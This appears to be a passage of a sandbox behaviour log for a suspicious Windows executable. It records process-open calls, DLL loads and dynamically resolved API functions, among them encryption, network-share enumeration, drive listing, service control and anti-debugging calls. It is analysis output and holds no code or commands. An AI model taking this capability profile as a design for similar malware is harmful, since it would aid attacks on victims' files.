Open c:\windows\system32\audiodg.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\svchost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\program files\internet explorer\consists.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\spoolsv.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\explorer.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION False 1
Fn
Open c:\windows\system32\taskhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\adobe\reader 10.0\reader\reader_sl.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\smss.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\program files (x86)\adobe\reader 10.0\reader\reader_sl.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Open c:\windows\system32\dllhost.exe desired_access = PROCESS_VM_READ, PROCESS_QUERY_INFORMATION True 1
Fn
Module (403)
»
Operation Module Additional Information Success Count Logfile
Load kernel32.dll base_address = 0x76980000 True 3
Fn
Load RPCRT4.dll base_address = 0x759b0000 True 1
Fn
Load MPR.dll base_address = 0x73080000 True 1
Fn
Load WININET.dll base_address = 0x75820000 True 1
Fn
Load WINMM.dll base_address = 0x74cc0000 True 1
Fn
Load SHLWAPI.dll base_address = 0x76750000 True 1
Fn
Load KERNEL32.dll base_address = 0x76980000 True 1
Fn
Load USER32.dll base_address = 0x75360000 True 1
Fn
Load ADVAPI32.dll base_address = 0x74d90000 True 1
Fn
Load SHELL32.dll base_address = 0x75b00000 True 1
Fn
Load ole32.dll base_address = 0x74f00000 True 1
Fn
Load OLEAUT32.dll base_address = 0x75920000 True 1
Fn
Load IPHLPAPI.DLL base_address = 0x74ca0000 True 1
Fn
Load WS2_32.dll base_address = 0x76c60000 True 1
Fn
Load DNSAPI.dll base_address = 0x74c40000 True 1
Fn
Load CRYPT32.dll base_address = 0x767e0000 True 1
Fn
Load msvcr100.dll base_address = 0x74b80000 True 1
Fn
Load Psapi.dll base_address = 0x74e60000 True 1
Fn
Load Shell32.dll base_address = 0x75b00000 True 58
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76980000 True 3
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe, size = 260 True 2
Fn
Get Filename - process_name = c:\users\5p5nrgjn0js halpmcxz\appdata\local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe, file_name_orig = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe, size = 1024 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsAlloc, address_out = 0x76994f2b True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsGetValue, address_out = 0x76991252 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsSetValue, address_out = 0x76994208 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlsFree, address_out = 0x7699359f True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryA, address_out = 0x769949d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76991856 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualProtect, address_out = 0x7699435f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x7699186e True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersionExA, address_out = 0x76993519 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x769ad802 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76997a10 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetErrorMode, address_out = 0x76991b00 True 2
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeW, address_out = 0x759d1635 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringW, address_out = 0x759f1ee5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidToStringA, address_out = 0x75a2d918 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = RpcStringFreeA, address_out = 0x759f3fc5 True 1
Fn
Get Address c:\windows\syswow64\rpcrt4.dll function = UuidCreate, address_out = 0x759cf48b True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetCloseEnum, address_out = 0x73082dd6 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetOpenEnumW, address_out = 0x73082f06 True 1
Fn
Get Address c:\windows\syswow64\mpr.dll function = WNetEnumResourceW, address_out = 0x73083058 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetCloseHandle, address_out = 0x7583ab49 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlW, address_out = 0x7589be5c True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetReadFile, address_out = 0x7583b406 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenUrlA, address_out = 0x758630f1 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = HttpQueryInfoW, address_out = 0x75845c75 True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenA, address_out = 0x7584f18e True 1
Fn
Get Address c:\windows\syswow64\wininet.dll function = InternetOpenW, address_out = 0x75849197 True 1
Fn
Get Address c:\windows\syswow64\winmm.dll function = timeGetTime, address_out = 0x74cc26e0 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindExtensionW, address_out = 0x7676a1b9 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFindFileNameW, address_out = 0x7676bb71 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathRemoveFileSpecW, address_out = 0x76763248 True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsW, address_out = 0x767645bf True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendW, address_out = 0x767681ef True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathAppendA, address_out = 0x7675d65e True 1
Fn
Get Address c:\windows\syswow64\shlwapi.dll function = PathFileExistsA, address_out = 0x7678ad1a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount, address_out = 0x7699110c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsFree, address_out = 0x76993587 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCommandLineW, address_out = 0x76995223 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileA, address_out = 0x769953c6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindFirstFileW, address_out = 0x76994435 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointer, address_out = 0x769917d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenA, address_out = 0x76995a4b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibrary, address_out = 0x769934c8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessW, address_out = 0x7699103d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFilePointerEx, address_out = 0x769ac807 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76994259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76991136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDrives, address_out = 0x76995371 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76991282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x769aef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OpenProcess, address_out = 0x76991986 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x7699588e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemDirectoryW, address_out = 0x76995063 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x7699170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryW, address_out = 0x7699492b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x769910ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x769b830d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageW, address_out = 0x76994620 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynW, address_out = 0x769bd556 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76991072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76993ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76993f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x769b2b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x769933a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcmpW, address_out = 0x76995929 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x7699192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76991700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x7699469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x769b594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSizeEx, address_out = 0x769959e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x769911c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x769911a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76991222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x769a9af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76994442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x769b8baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x7699168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventW, address_out = 0x7699183e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x769914b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x769b896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatW, address_out = 0x769b828e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76994c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FatalAppExitA, address_out = 0x76a14691 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x769b735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76991410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x769989b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76992d3c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x769b3102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76995444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x769b2a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetPriorityClass, address_out = 0x769acf28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x769934b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x7699dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeProcess, address_out = 0x769a174d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76994950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76995558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76994467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryA, address_out = 0x769bd526 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x769934d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x769914fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x769911e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x769949ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76991916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x769987c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x769b772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x769951cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x769951e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x769911f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76991725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76994d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771f45f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x7699465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x769958a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76991946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x771f3002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x7699495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x771ee026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoW, address_out = 0x76993c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocale, address_out = 0x769ace46 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76993da5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76a1425f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatW, address_out = 0x769b34d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatW, address_out = 0x769af481 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringW, address_out = 0x76993bca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x769917b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76a37bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76991328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77201f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76a1454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x769ace2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x769951b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76993531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76994a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x769b7aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadConsoleW, address_out = 0x76a3739a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OutputDebugStringW, address_out = 0x769bd1d4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleCtrlHandler, address_out = 0x76998a09 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x769bd1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x771e2270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771e22b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AreFileApisANSI, address_out = 0x76a140d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x769914e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76991450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThread, address_out = 0x769917ec True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76995189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x769914c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x7699e331 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77200fcb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x771f9d35 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76993509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76991809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x769aca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x769bd1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x7699179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76994493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76995235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x769954ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76994a5d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x753788f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x75377809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x7537b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x75380dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = IsWindow, address_out = 0x75377136 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x75378a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x75383559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771f25dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageW, address_out = 0x753805ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostThreadMessageW, address_out = 0x75378bff True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxW, address_out = 0x753cfd3f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x7537787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x75379abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x75379a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x75379679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x753778e2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d9df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextW, address_out = 0x74d9df14 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenSCManagerW, address_out = 0x74d9ca64 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenServiceW, address_out = 0x74d9ca4c True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d9e124 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74da157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d9df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74da14d6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74da469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d9df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = ControlService, address_out = 0x74db7144 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74da468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d9df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptEncrypt, address_out = 0x74db779b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptImportKey, address_out = 0x74d9c532 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = QueryServiceStatus, address_out = 0x74da2a86 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74da46ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CloseServiceHandle, address_out = 0x74da369c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x75b917bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x75b8e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75b19ee8 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteA, address_out = 0x75d47078 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75b21e46 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitialize, address_out = 0x74f1b636 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitializeSecurity, address_out = 0x74f27259 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoUninitialize, address_out = 0x74f486d3 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x74f49d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 202, address_out = 0x7592fd6b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x75924642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 9, address_out = 0x75923eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x75923ed5 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x75923e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 200, address_out = 0x75923f21 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 12, address_out = 0x75925dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 201, address_out = 0x75924af8 True 1
Fn
Get Address c:\windows\syswow64\iphlpapi.dll function = GetAdaptersInfo, address_out = 0x74ca9263 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 12, address_out = 0x76c6b131 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 11, address_out = 0x76c6311b True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 52, address_out = 0x76c77673 True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsQuery_W, address_out = 0x74c5572c True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsFree, address_out = 0x74c4436b True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptStringToBinaryA, address_out = 0x76815d77 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x74b9c544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76994d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76a1410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76a14195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x7699d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x769aee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7720441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7722c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7722c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x769af088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x772105d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7722ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x771e0b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7729fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x77231e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76a14761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76a0cd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76a1424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76a146b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76a26676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76a14751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76a265f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76a147c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76a147e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76a147f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x769aeee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
